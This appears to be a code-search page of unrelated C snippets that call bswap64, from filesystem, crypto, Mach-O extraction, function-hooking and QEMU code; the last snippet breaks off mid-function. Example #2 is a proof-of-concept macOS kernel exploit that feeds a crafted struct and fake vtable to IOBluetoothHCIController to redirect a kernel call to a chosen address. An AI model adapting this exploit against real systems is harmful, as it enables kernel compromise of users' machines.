Beispiel #1
0
/*
 * Note that ffs_cg_swap may be called with o == n.
 */
void
ffs_cg_swap(struct cg *o, struct cg *n, struct fs *fs)
{
	int i;
	u_int32_t *n32, *o32;
	u_int16_t *n16, *o16;
	int32_t btotoff, boff, clustersumoff;

	n->cg_firstfield = bswap32(o->cg_firstfield);
	n->cg_magic = bswap32(o->cg_magic);
	n->cg_old_time = bswap32(o->cg_old_time);
	n->cg_cgx = bswap32(o->cg_cgx);
	n->cg_old_ncyl = bswap16(o->cg_old_ncyl);
	n->cg_old_niblk = bswap16(o->cg_old_niblk);
	n->cg_ndblk = bswap32(o->cg_ndblk);
	n->cg_cs.cs_ndir = bswap32(o->cg_cs.cs_ndir);
	n->cg_cs.cs_nbfree = bswap32(o->cg_cs.cs_nbfree);
	n->cg_cs.cs_nifree = bswap32(o->cg_cs.cs_nifree);
	n->cg_cs.cs_nffree = bswap32(o->cg_cs.cs_nffree);
	n->cg_rotor = bswap32(o->cg_rotor);
	n->cg_frotor = bswap32(o->cg_frotor);
	n->cg_irotor = bswap32(o->cg_irotor);
	for (i = 0; i < MAXFRAG; i++)
		n->cg_frsum[i] = bswap32(o->cg_frsum[i]);
	
	n->cg_old_btotoff = bswap32(o->cg_old_btotoff);
	n->cg_old_boff = bswap32(o->cg_old_boff);
	n->cg_iusedoff = bswap32(o->cg_iusedoff);
	n->cg_freeoff = bswap32(o->cg_freeoff);
	n->cg_nextfreeoff = bswap32(o->cg_nextfreeoff);
	n->cg_clustersumoff = bswap32(o->cg_clustersumoff);
	n->cg_clusteroff = bswap32(o->cg_clusteroff);
	n->cg_nclusterblks = bswap32(o->cg_nclusterblks);
#ifndef __DragonFly__
	n->cg_niblk = bswap32(o->cg_niblk);
	n->cg_initediblk = bswap32(o->cg_initediblk);
	n->cg_time = bswap64(o->cg_time);
#endif

#ifndef __DragonFly__ /* XXX UFS2 */
	if (fs->fs_magic == FS_UFS2_MAGIC)
		return;
#endif

	if (n->cg_magic == CG_MAGIC) {
		btotoff = n->cg_old_btotoff;
		boff = n->cg_old_boff;
		clustersumoff = n->cg_clustersumoff;
	} else {
		btotoff = bswap32(n->cg_old_btotoff);
		boff = bswap32(n->cg_old_boff);
		clustersumoff = bswap32(n->cg_clustersumoff);
	}
	n32 = (u_int32_t *)((u_int8_t *)n + btotoff);
	o32 = (u_int32_t *)((u_int8_t *)o + btotoff);
	n16 = (u_int16_t *)((u_int8_t *)n + boff);
	o16 = (u_int16_t *)((u_int8_t *)o + boff);

	for (i = 0; i < fs->fs_old_cpg; i++)
		n32[i] = bswap32(o32[i]);
	
	for (i = 0; i < fs->fs_old_cpg * fs->fs_old_nrpos; i++)
		n16[i] = bswap16(o16[i]);

	n32 = (u_int32_t *)((u_int8_t *)n + clustersumoff);
	o32 = (u_int32_t *)((u_int8_t *)o + clustersumoff);
	for (i = 1; i < fs->fs_contigsumsize + 1; i++)
		n32[i] = bswap32(o32[i]);
}
Beispiel #2
0
int main(void) {
  struct BluetoothCall a;
  int i;
  void *landing_page = calloc(SIZE, sizeof(char));

  /* Init a */
  for (i = 0; i < 7; i++) {
    a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
    a.sizes[i] = SIZE;
  }

  /* Finding vuln service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
				IOServiceMatching("IOBluetoothHCIController"));

  if (!service) {
    return -1;
  }

  /* Connect to vuln service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  /* Populating with fake requests. */
  create_requests(port);

  /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */
  a.index = 42;
  /* Req number */
  *((uint32_t *)a.args[0]) = 1;
  /* num_of_keys */
  *((uint32_t *)a.args[1]) = 0x20;

  /* Padding */
  memset((void *)a.args[3], 0x33, 152);
  /* mov     rdi, [r14+0AB8h] */
  *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);
  /* mov rax, [rdi] */
  *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;
  /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */
  *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;

  /* Here some fixing to the vtable is required to return cleanly after the exploit */

#if 0
  /* Debug print */
  for(i = 0; i < 120; i++) {
    if(i % 8 == 0) printf("\n");
    printf("\\x%02x", ((unsigned char *)&a)[i]);
  }
  printf("\n");
#endif

  kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
			   (uint32_t) 0,       /* Selector */
			   NULL, 0,            /* input, inputCnt */
			   (const void*) &a,   /* inputStruct */
			   120,                /* inputStructCnt */
			   NULL, NULL, NULL, NULL); /* Output stuff */
  printf("kr: %08x\n", kr);

  return IOServiceClose(port);
}
Beispiel #3
0
static inline int64_t
SWAPS64(int64_t x)
{
    return bswap64(x);
}
Beispiel #4
0
static inline uint64_t
SWAPU64(uint64_t x)
{
    return bswap64(x);
}
Beispiel #5
0
struct arch_trampoline *                                                        
mach_trampoline(void *org, void *act)
{
	void *addr = org;
	void *overrideFunctionAddress = act;

	for(;;) {
		if(*(u16*)addr==0x25FF)    // jmp qword near [rip+0x????????]
			addr=*(void**)((char*)addr+6+*(u32*)((u16*)addr+1));
		else break;
	}

	long *originalFunctionPtr = (long*) addr;
	
	int eatenCount = 0;
	int count = 0;
	char instr[BRANCH_SIZE];
	u8 sizes[BRANCH_SIZE];
	u64 instr_jmp_rel = 0; // JMP
	int err;

	struct x86_prologue prologue;

	x86_branch_prologue(&prologue, (u8 *)originalFunctionPtr, 5);

	if ((x86_prologue ((u8*)originalFunctionPtr, &instr_jmp_rel, 
	    &eatenCount, instr, &count, sizes )))
		return NULL;

	if (eatenCount > BRANCH_SIZE)
		return NULL;

	err = vm_protect( mach_task_self(),
				(vm_address_t) originalFunctionPtr, 8, false,
				(VM_PROT_ALL | VM_PROT_COPY) );
	if( err )
	err = vm_protect( mach_task_self(),
					(vm_address_t) originalFunctionPtr, 8, false,
					(VM_PROT_DEFAULT | VM_PROT_COPY) );
	
	struct trampoline *escape = mach_tramp_alloc(addr);
	err = mach_tramp_branch(escape, overrideFunctionAddress, 0 );
 
	u32 addr_off = ((u8*)escape - (u8*)originalFunctionPtr - 5);
	addr_off = bswap32(addr_off);
		
	instr_jmp_rel |= 0xE900000000000000LL; 
	instr_jmp_rel |= ((u64)addr_off & 0xffffffff) << 24;
	instr_jmp_rel = bswap64(instr_jmp_rel);		
	
	struct trampoline *reentry = NULL;
	reentry = mach_tramp_alloc(escape);
	
	fixupInstr(originalFunctionPtr, reentry, instr,
	                  count, sizes );
	
	if( reentry )
		err = mach_tramp_branch( reentry,
		(void*)((u8*)originalFunctionPtr+eatenCount), instr );

	if ((err = page_addr_protect(escape, PROT_EXEC | PROT_READ)))
		goto cleanup;

	if ((err = page_addr_protect(reentry, PROT_EXEC | PROT_READ)))
		goto cleanup;

	atomic_mov64((u64*)originalFunctionPtr, instr_jmp_rel);
	mach_error_t prot_err = err_none;
	prot_err = vm_protect(mach_task_self(),
	                      (vm_address_t) originalFunctionPtr, 8, false,
	                      (VM_PROT_READ | VM_PROT_EXECUTE) );

	return (struct arch_trampoline *)reentry;

cleanup:
	if( reentry )
		mach_tramp_free( reentry );
	if( escape )
		mach_tramp_free( escape );

	return NULL;
}
int crypto_stream_xor(unsigned char *out, const unsigned char *in,
		      unsigned long long inlen, const unsigned char *n,
		      const unsigned char *k)
{
#define PTR_ALIGN(ptr, mask) ((void *)((((long)(ptr)) + (mask)) & ~((long)(mask))))
	const unsigned long align = 16;
	char ctxbuf[sizeof(struct blowfish_ctx) + align];
	struct blowfish_ctx *ctx = PTR_ALIGN(ctxbuf, align - 1);
	uint64_t iv;
	uint64_t ivs[16];
	unsigned int i;

	blowfish_init(ctx, k, CRYPTO_KEYBYTES);
	bswap64(&iv, (const uint64_t *)n); /* be => le */

	while (likely(inlen >= BLOCKSIZE * 16)) {
		bswap64(&ivs[0], &iv); /* le => be */
		for (i = 1; i < 16; i++) {
			add64(&ivs[i], &iv, i);
			bswap64(&ivs[i], &ivs[i]); /* le => be */
		}
		add64(&iv, &iv, 16);

		__blowfish_enc_blk_16way(ctx, out, (uint8_t *)ivs, 0);

		if (unlikely(in)) {
			for (i = 0; i < 16; i+=2)
				xor128(&((uint64_t *)out)[i], &((uint64_t *)out)[i], &((uint64_t *)in)[i]);
			in += BLOCKSIZE * 16;
		}

		out += BLOCKSIZE * 16;
		inlen -= BLOCKSIZE * 16;
	}

	if (unlikely(inlen > 0)) {
		unsigned int nblock = inlen / BLOCKSIZE;
		unsigned int lastlen = inlen % BLOCKSIZE;
		unsigned int j;

		for (i = 0; i < nblock + !!lastlen; i++) {
			bswap64(&ivs[i], &iv); /* le => be */
			inc64(&iv);
		}
		for (; i < 16; i++) {
			ivs[i] = 0;
		}

		__blowfish_enc_blk_16way(ctx, (uint8_t *)ivs, (uint8_t *)ivs, 0);

		if (in) {
			for (i = 0; inlen >= 2*BLOCKSIZE; i+=2) {
				xor128((uint64_t *)out, (uint64_t *)in, (uint64_t *)&ivs[i]);

				inlen -= 2*BLOCKSIZE;
				in += 2*BLOCKSIZE;
				out += 2*BLOCKSIZE;
			}

			for (j = 0; j < inlen; j++)
				out[j] = in[j] ^ ((uint8_t*)&ivs[i])[j];
		} else {
			for (i = 0; inlen >= 2*BLOCKSIZE; i+=2) {
				mov128((uint64_t *)out, (uint64_t *)&ivs[i]);

				inlen -= 2*BLOCKSIZE;
				out += 2*BLOCKSIZE;
			}

			for (j = 0; j < inlen; j++)
				out[j] = ((uint8_t*)&ivs[i])[j];
		}
	}

	return 0;
}
Beispiel #7
0
uint8_t
extract_mhobject(ea_t address, char *outputFilename)
{
    uint32 magicValue = get_long(address);
    
    struct mach_header *mach_header = NULL;
    struct mach_header_64 *mach_header64 = NULL;
    
    uint8_t arch = 0;
    if (magicValue == MH_MAGIC)
    {
#if DEBUG
        msg("[DEBUG] Target is 32bits!\n");
#endif
        mach_header = (struct mach_header *)qalloc(sizeof(struct mach_header));
        // retrieve mach_header contents
        if(!get_many_bytes(address, mach_header, sizeof(struct mach_header)))
        {
            msg("[ERROR] Read bytes failed!\n");
            return 1;
        }
    }
    else if (magicValue == MH_MAGIC_64)
    {
#if DEBUG
        msg("[DEBUG] Target is 64bits!\n");
#endif
        mach_header64 = (struct mach_header_64 *)qalloc(sizeof(struct mach_header_64));
        if(!get_many_bytes(address, mach_header64, sizeof(struct mach_header_64)))
        {
            msg("[ERROR] Read bytes failed!\n");
            return 1;
        }
        arch = 1;
    }
    
    // open output file
    FILE *outputFile = qfopen(outputFilename, "wb+");
    if (outputFile == NULL)
    {
        msg("[ERROR] Could not open %s file!\n", outputFilename);
        return 1;
    }
    
    /*
     * we need to write 3 distinct blocks of data:
     * 1) the mach_header
     * 2) the load commands
     * 3) the code and data from the LC_SEGMENT/LC_SEGMENT_64 commands
     */
    
    // write the mach_header to the file
    if (arch)
        qfwrite(outputFile, mach_header64, sizeof(struct mach_header_64));
    else
        qfwrite(outputFile, mach_header, sizeof(struct mach_header));
    
    // swap the endianness of some fields if it's powerpc target
    if (magicValue == MH_CIGAM)
    {
        mach_header->ncmds = ntohl(mach_header->ncmds);
        mach_header->sizeofcmds = ntohl(mach_header->sizeofcmds);
    }
    else if (magicValue == MH_CIGAM_64)
    {
        mach_header64->ncmds = ntohl(mach_header64->ncmds);
        mach_header64->sizeofcmds = ntohl(mach_header64->sizeofcmds);
    }

    // read the load commands
    uint32_t ncmds = arch ? mach_header64->ncmds : mach_header->ncmds;
    uint32_t sizeofcmds = arch ? mach_header64->sizeofcmds : mach_header->sizeofcmds;
    uint32_t headerSize = arch ? sizeof(struct mach_header_64) : sizeof(struct mach_header);
    
    uint8_t *loadcmdsBuffer = NULL;
    loadcmdsBuffer = (uint8_t*)qalloc(sizeofcmds);
    
    get_many_bytes(address + headerSize, loadcmdsBuffer, sizeofcmds);
    // write all the load commands block to the output file
    // only LC_SEGMENT commands contain further data
    qfwrite(outputFile, loadcmdsBuffer, sizeofcmds);
    
    // and now process the load commands so we can retrieve code and data
    struct load_command loadCommand;
    ea_t cmdsBaseAddress = address + headerSize;    
    
    // read segments so we can write the code and data
    // only the segment commands have useful information
    for (uint32_t i = 0; i < ncmds; i++)
    {
        get_many_bytes(cmdsBaseAddress, &loadCommand, sizeof(struct load_command));
        struct segment_command segmentCommand;
        struct segment_command_64 segmentCommand64;
        // swap the endianness of some fields if it's powerpc target
        if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64)
        {
            loadCommand.cmd = ntohl(loadCommand.cmd);
            loadCommand.cmdsize = ntohl(loadCommand.cmdsize);
        }

        // 32bits targets
        if (loadCommand.cmd == LC_SEGMENT)
        {
            get_many_bytes(cmdsBaseAddress, &segmentCommand, sizeof(struct segment_command));
            // swap the endianness of some fields if it's powerpc target
            if (magicValue == MH_CIGAM)
            {
                segmentCommand.nsects   = ntohl(segmentCommand.nsects);
                segmentCommand.fileoff  = ntohl(segmentCommand.fileoff);
                segmentCommand.filesize = ntohl(segmentCommand.filesize);
            }

            ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command);
            struct section sectionCommand; 
            // iterate thru all sections to find the first code offset
            // FIXME: we need to find the lowest one since the section info can be reordered
            for (uint32_t x = 0; x < segmentCommand.nsects; x++)
            {
                get_many_bytes(sectionAddress, &sectionCommand, sizeof(struct section));
                // swap the endianness of some fields if it's powerpc target
                if (magicValue == MH_CIGAM)
                {
                    sectionCommand.offset = ntohl(sectionCommand.offset);
                    sectionCommand.nreloc = ntohl(sectionCommand.nreloc);
                    sectionCommand.reloff = ntohl(sectionCommand.reloff);
                }
                if (sectionCommand.nreloc > 0)
                {
                    uint32_t size = sectionCommand.nreloc*sizeof(struct relocation_info);
                    uint8_t *relocBuf = (uint8_t*)qalloc(size);
                    get_many_bytes(address + sectionCommand.reloff, relocBuf, size);
                    qfseek(outputFile, sectionCommand.reloff, SEEK_SET);
                    qfwrite(outputFile, relocBuf, size);
                    qfree(relocBuf);
                }
                sectionAddress += sizeof(struct section);
            }
            // read and write the data
            uint8_t *buf = (uint8_t*)qalloc(segmentCommand.filesize);
            get_many_bytes(address + segmentCommand.fileoff, buf, segmentCommand.filesize);
            // always set the offset
            qfseek(outputFile, segmentCommand.fileoff, SEEK_SET);
            qfwrite(outputFile, buf, segmentCommand.filesize);
            qfree(buf);
        }
        // we need this to dump missing relocations
        else if (loadCommand.cmd == LC_SYMTAB)
        {
            struct symtab_command symtabCommand;
            get_many_bytes(cmdsBaseAddress, &symtabCommand, sizeof(struct symtab_command));
            // swap the endianness of some fields if it's powerpc target
            if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64)
            {
                symtabCommand.nsyms   = ntohl(symtabCommand.nsyms);
                symtabCommand.symoff  = ntohl(symtabCommand.symoff);
                symtabCommand.stroff  = ntohl(symtabCommand.stroff);
                symtabCommand.strsize = ntohl(symtabCommand.strsize);
            }
            
            if (symtabCommand.symoff > 0)
            {
                void *buf = qalloc(symtabCommand.nsyms*sizeof(struct nlist));
                get_many_bytes(address + symtabCommand.symoff, buf, symtabCommand.nsyms*sizeof(struct nlist));
                qfseek(outputFile, symtabCommand.symoff, SEEK_SET);
                qfwrite(outputFile, buf, symtabCommand.nsyms*sizeof(struct nlist));
                qfree(buf);
            }
            if (symtabCommand.stroff > 0)
            {
                void *buf = qalloc(symtabCommand.strsize);
                get_many_bytes(address + symtabCommand.stroff, buf, symtabCommand.strsize);
                qfseek(outputFile, symtabCommand.stroff, SEEK_SET);
                qfwrite(outputFile, buf, symtabCommand.strsize);
                qfree(buf);
            }
        }
        // 64bits targets
        // FIXME: will this work ? needs to be tested :-)
        else if (loadCommand.cmd == LC_SEGMENT_64)
        {
            get_many_bytes(cmdsBaseAddress, &segmentCommand64, sizeof(struct segment_command_64));
            // swap the endianness of some fields if it's powerpc target
            if (magicValue == MH_CIGAM_64)
            {
                segmentCommand64.nsects   = ntohl(segmentCommand64.nsects);
                segmentCommand64.fileoff  = bswap64(segmentCommand64.fileoff);
                segmentCommand64.filesize = bswap64(segmentCommand64.filesize);
            }

            ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command_64);
            struct section_64 sectionCommand64;
            for (uint32_t x = 0; x < segmentCommand64.nsects; x++)
            {
                get_many_bytes(sectionAddress, &sectionCommand64, sizeof(struct section_64));
                // swap the endianness of some fields if it's powerpc target
                if (magicValue == MH_CIGAM_64)
                {
                    sectionCommand64.offset = ntohl(sectionCommand64.offset);
                    sectionCommand64.nreloc = ntohl(sectionCommand64.nreloc);
                    sectionCommand64.reloff = ntohl(sectionCommand64.reloff);
                }
                
                if (sectionCommand64.nreloc > 0)
                {
                    uint32_t size = sectionCommand64.nreloc*sizeof(struct relocation_info);
                    uint8_t *relocBuf = (uint8_t*)qalloc(size);
                    get_many_bytes(address + sectionCommand64.reloff, relocBuf, size);
                    qfseek(outputFile, sectionCommand64.reloff, SEEK_SET);
                    qfwrite(outputFile, relocBuf, size);
                    qfree(relocBuf);
                }
                sectionAddress += sizeof(struct section_64);
            }
            // read and write the data
            uint8_t *buf = (uint8_t*)qalloc(segmentCommand64.filesize);
            get_many_bytes(address + segmentCommand64.fileoff, buf, segmentCommand64.filesize);
            qfseek(outputFile, segmentCommand64.fileoff, SEEK_SET);
            qfwrite(outputFile, buf, segmentCommand64.filesize);
            qfree(buf);
        }
        cmdsBaseAddress += loadCommand.cmdsize;
    }
    
    // all done, close file and free remaining buffers!
    qfclose(outputFile);
    qfree(mach_header);
    qfree(mach_header64);
    qfree(loadcmdsBuffer);
    return 0;
    
}
Beispiel #8
0
/*
 * function to extract non-fat binaries, 32 and 64bits
 */
uint8_t 
extract_macho(ea_t address, char *outputFilename)
{
    uint32 magicValue = get_long(address);
    
    struct mach_header *mach_header = NULL;
    struct mach_header_64 *mach_header64 = NULL;
    
    uint8_t arch = 0;
    if (magicValue == MH_MAGIC || magicValue == MH_CIGAM)
    {
#if DEBUG
        msg("[DEBUG] Target is 32bits!\n");
#endif
        mach_header = (struct mach_header *)qalloc(sizeof(struct mach_header));
        // retrieve mach_header contents
        if(!get_many_bytes(address, mach_header, sizeof(struct mach_header)))
        {
            msg("[ERROR] Read bytes failed!\n");
            return 1;
        }
    }
    else if (magicValue == MH_MAGIC_64 || magicValue == MH_CIGAM_64)
    {
#if DEBUG
        msg("[DEBUG] Target is 64bits!\n");
#endif
        mach_header64 = (struct mach_header_64 *)qalloc(sizeof(struct mach_header_64));
        if(!get_many_bytes(address, mach_header64, sizeof(struct mach_header_64)))
        {
            msg("[ERROR] Read bytes failed!\n");
            return 1;
        }
        arch = 1;
    }
    else
    {
        msg("[ERROR] Unknown target!\n");
        return 1;
    }
    
    // open output file
    FILE *outputFile = qfopen(outputFilename, "wb+");
    if (outputFile == NULL)
    {
        msg("[ERROR] Could not open %s file!\n", outputFilename);
        return 1;
    }
    
    /*
     * we need to write 3 distinct blocks of data:
     * 1) the mach_header
     * 2) the load commands
     * 3) the code and data from the LC_SEGMENT/LC_SEGMENT_64 commands
     */
    
    // write the mach_header to the file
    if (arch)
        qfwrite(outputFile, mach_header64, sizeof(struct mach_header_64));
    else
        qfwrite(outputFile, mach_header, sizeof(struct mach_header));
    
    // swap the endianness of some fields if it's powerpc target
    if (magicValue == MH_CIGAM)
    {
        mach_header->ncmds = ntohl(mach_header->ncmds);
        mach_header->sizeofcmds = ntohl(mach_header->sizeofcmds);
    }
    else if (magicValue == MH_CIGAM_64)
    {
        mach_header64->ncmds = ntohl(mach_header64->ncmds);
        mach_header64->sizeofcmds = ntohl(mach_header64->sizeofcmds);
    }
    
    // read the load commands
    uint32_t ncmds      = arch ? mach_header64->ncmds : mach_header->ncmds;
    uint32_t sizeofcmds = arch ? mach_header64->sizeofcmds : mach_header->sizeofcmds;
    uint32_t headerSize = arch ? sizeof(struct mach_header_64) : sizeof(struct mach_header);
    
    uint8_t *loadcmdsBuffer = NULL;
    loadcmdsBuffer = (uint8_t*)qalloc(sizeofcmds);
    
    get_many_bytes(address + headerSize, loadcmdsBuffer, sizeofcmds);
    // write all the load commands block to the output file
    // only LC_SEGMENT commands contain further data
    qfwrite(outputFile, loadcmdsBuffer, sizeofcmds);
    
    // and now process the load commands so we can retrieve code and data
    struct load_command loadCommand;
    ea_t cmdsBaseAddress = address + headerSize;    
    ea_t codeOffset = 0;
    
    // read segments so we can write the code and data
    // only the segment commands have useful information
    for (uint32_t i = 0; i < ncmds; i++)
    {
        get_many_bytes(cmdsBaseAddress, &loadCommand, sizeof(struct load_command));
        struct segment_command segmentCommand;
        struct segment_command_64 segmentCommand64;
        // swap the endianness of some fields if it's powerpc target
        if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64)
        {
            loadCommand.cmd     = ntohl(loadCommand.cmd);
            loadCommand.cmdsize = ntohl(loadCommand.cmdsize);
        }
        
        // 32bits targets
        // FIXME: do we also need to dump the relocs info here ?
        if (loadCommand.cmd == LC_SEGMENT)
        {
            get_many_bytes(cmdsBaseAddress, &segmentCommand, sizeof(struct segment_command));
            // swap the endianness of some fields if it's powerpc target
            if (magicValue == MH_CIGAM)
            {
                segmentCommand.nsects   = ntohl(segmentCommand.nsects);
                segmentCommand.fileoff  = ntohl(segmentCommand.fileoff);
                segmentCommand.filesize = ntohl(segmentCommand.filesize);
            }
            // the file offset info in LC_SEGMENT is zero at __TEXT so we need to get it from the sections
            // the size is ok to be used
            if (strncmp(segmentCommand.segname, "__TEXT", 16) == 0)
            {
                ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command);
                struct section sectionCommand; 
                // iterate thru all sections to find the first code offset
                // FIXME: we need to find the lowest one since the section info can be reordered
                for (uint32_t x = 0; x < segmentCommand.nsects; x++)
                {
                    get_many_bytes(sectionAddress, &sectionCommand, sizeof(struct section));
                    // swap the endianness of some fields if it's powerpc target
                    if (magicValue == MH_CIGAM)
                        sectionCommand.offset = ntohl(sectionCommand.offset);
                    
                    if (strncmp(sectionCommand.sectname, "__text", 16) == 0)
                    {
                        codeOffset = sectionCommand.offset;
                        break;
                    }
                    sectionAddress += sizeof(struct section);
                }
            }
            // for all other segments the fileoffset info in the LC_SEGMENT is valid so we can use it
            else
            {
                codeOffset = segmentCommand.fileoff;
            }
            // read and write the data
            uint8_t *buf = (uint8_t*)qalloc(segmentCommand.filesize);
            get_many_bytes(address + codeOffset, buf, segmentCommand.filesize);
            // always set the offset
            qfseek(outputFile, codeOffset, SEEK_SET);
            qfwrite(outputFile, buf, segmentCommand.filesize);
            qfree(buf);
        }
        // 64bits targets
        else if (loadCommand.cmd == LC_SEGMENT_64)
        {
            get_many_bytes(cmdsBaseAddress, &segmentCommand64, sizeof(struct segment_command_64));
            // swap the endianness of some fields if it's powerpc target
            if (magicValue == MH_CIGAM_64)
            {
                segmentCommand64.nsects   = ntohl(segmentCommand64.nsects);
                segmentCommand64.fileoff  = bswap64(segmentCommand64.fileoff);
                segmentCommand64.filesize = bswap64(segmentCommand64.filesize);
            }

            if(strncmp(segmentCommand64.segname, "__TEXT", 16) == 0)
            {
                ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command_64);
                struct section_64 sectionCommand64;
                for (uint32_t x = 0; x < segmentCommand64.nsects; x++)
                {
                    get_many_bytes(sectionAddress, &sectionCommand64, sizeof(struct section_64));
                    // swap the endianness of some fields if it's powerpc target
                    if (magicValue == MH_CIGAM_64)
                        sectionCommand64.offset = ntohl(sectionCommand64.offset);

                    if (strncmp(sectionCommand64.sectname, "__text", 16) == 0)
                    {
                        codeOffset = sectionCommand64.offset;
                        break;
                    }
                    sectionAddress += sizeof(struct section_64);
                }
            }
            else
            {
                codeOffset = segmentCommand64.fileoff;
            }
            // read and write the data
            uint8_t *buf = (uint8_t*)qalloc(segmentCommand64.filesize);
            get_many_bytes(address + codeOffset, buf, segmentCommand64.filesize);
            qfseek(outputFile, codeOffset, SEEK_SET);
            qfwrite(outputFile, buf, segmentCommand64.filesize);
            qfree(buf);
        }
        cmdsBaseAddress += loadCommand.cmdsize;
    }
    
    // all done, close file and free remaining buffers!
    qfclose(outputFile);
    qfree(mach_header);
    qfree(mach_header64);
    qfree(loadcmdsBuffer);
    return 0;
}
Beispiel #9
0
/* Interpret pseudo code in tb. */
uintptr_t tcg_qemu_tb_exec(CPUArchState *env, uint8_t *tb_ptr)
{
    long tcg_temps[CPU_TEMP_BUF_NLONGS];
    uintptr_t sp_value = (uintptr_t)(tcg_temps + CPU_TEMP_BUF_NLONGS);
    uintptr_t next_tb = 0;

    tci_reg[TCG_AREG0] = (tcg_target_ulong)env;
    tci_reg[TCG_REG_CALL_STACK] = sp_value;
    assert(tb_ptr);

    for (;;) {
        TCGOpcode opc = tb_ptr[0];
#if !defined(NDEBUG)
        uint8_t op_size = tb_ptr[1];
        uint8_t *old_code_ptr = tb_ptr;
#endif
        tcg_target_ulong t0;
        tcg_target_ulong t1;
        tcg_target_ulong t2;
        tcg_target_ulong label;
        TCGCond condition;
        target_ulong taddr;
#ifndef CONFIG_SOFTMMU
        tcg_target_ulong host_addr;
#endif
        uint8_t tmp8;
        uint16_t tmp16;
        uint32_t tmp32;
        uint64_t tmp64;
#if TCG_TARGET_REG_BITS == 32
        uint64_t v64;
#endif

#if defined(GETPC)
        tci_tb_ptr = (uintptr_t)tb_ptr;
#endif

        /* Skip opcode and size entry. */
        tb_ptr += 2;

        switch (opc) {
        case INDEX_op_end:
        case INDEX_op_nop:
            break;
        case INDEX_op_nop1:
        case INDEX_op_nop2:
        case INDEX_op_nop3:
        case INDEX_op_nopn:
        case INDEX_op_discard:
            TODO();
            break;
        case INDEX_op_set_label:
            TODO();
            break;
        case INDEX_op_call:
            t0 = tci_read_ri(&tb_ptr);
#if TCG_TARGET_REG_BITS == 32
            tmp64 = ((helper_function)t0)(tci_read_reg(TCG_REG_R0),
                                          tci_read_reg(TCG_REG_R1),
                                          tci_read_reg(TCG_REG_R2),
                                          tci_read_reg(TCG_REG_R3),
                                          tci_read_reg(TCG_REG_R5),
                                          tci_read_reg(TCG_REG_R6),
                                          tci_read_reg(TCG_REG_R7),
                                          tci_read_reg(TCG_REG_R8),
                                          tci_read_reg(TCG_REG_R9),
                                          tci_read_reg(TCG_REG_R10));
            tci_write_reg(TCG_REG_R0, tmp64);
            tci_write_reg(TCG_REG_R1, tmp64 >> 32);
#else
            tmp64 = ((helper_function)t0)(tci_read_reg(TCG_REG_R0),
                                          tci_read_reg(TCG_REG_R1),
                                          tci_read_reg(TCG_REG_R2),
                                          tci_read_reg(TCG_REG_R3),
                                          tci_read_reg(TCG_REG_R5));
            tci_write_reg(TCG_REG_R0, tmp64);
#endif
            break;
        case INDEX_op_br:
            label = tci_read_label(&tb_ptr);
            assert(tb_ptr == old_code_ptr + op_size);
            tb_ptr = (uint8_t *)label;
            continue;
        case INDEX_op_setcond_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            condition = *tb_ptr++;
            tci_write_reg32(t0, tci_compare32(t1, t2, condition));
            break;
#if TCG_TARGET_REG_BITS == 32
        case INDEX_op_setcond2_i32:
            t0 = *tb_ptr++;
            tmp64 = tci_read_r64(&tb_ptr);
            v64 = tci_read_ri64(&tb_ptr);
            condition = *tb_ptr++;
            tci_write_reg32(t0, tci_compare64(tmp64, v64, condition));
            break;
#elif TCG_TARGET_REG_BITS == 64
        case INDEX_op_setcond_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            condition = *tb_ptr++;
            tci_write_reg64(t0, tci_compare64(t1, t2, condition));
            break;
#endif
        case INDEX_op_mov_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;
        case INDEX_op_movi_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_i32(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;

            /* Load/store operations (32 bit). */

        case INDEX_op_ld8u_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg8(t0, *(uint8_t *)(t1 + t2));
            break;
        case INDEX_op_ld8s_i32:
        case INDEX_op_ld16u_i32:
            TODO();
            break;
        case INDEX_op_ld16s_i32:
            TODO();
            break;
        case INDEX_op_ld_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg32(t0, *(uint32_t *)(t1 + t2));
            break;
        case INDEX_op_st8_i32:
            t0 = tci_read_r8(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            *(uint8_t *)(t1 + t2) = t0;
            break;
        case INDEX_op_st16_i32:
            t0 = tci_read_r16(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            *(uint16_t *)(t1 + t2) = t0;
            break;
        case INDEX_op_st_i32:
            t0 = tci_read_r32(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            assert(t1 != sp_value || (int32_t)t2 < 0);
            *(uint32_t *)(t1 + t2) = t0;
            break;

            /* Arithmetic operations (32 bit). */

        case INDEX_op_add_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 + t2);
            break;
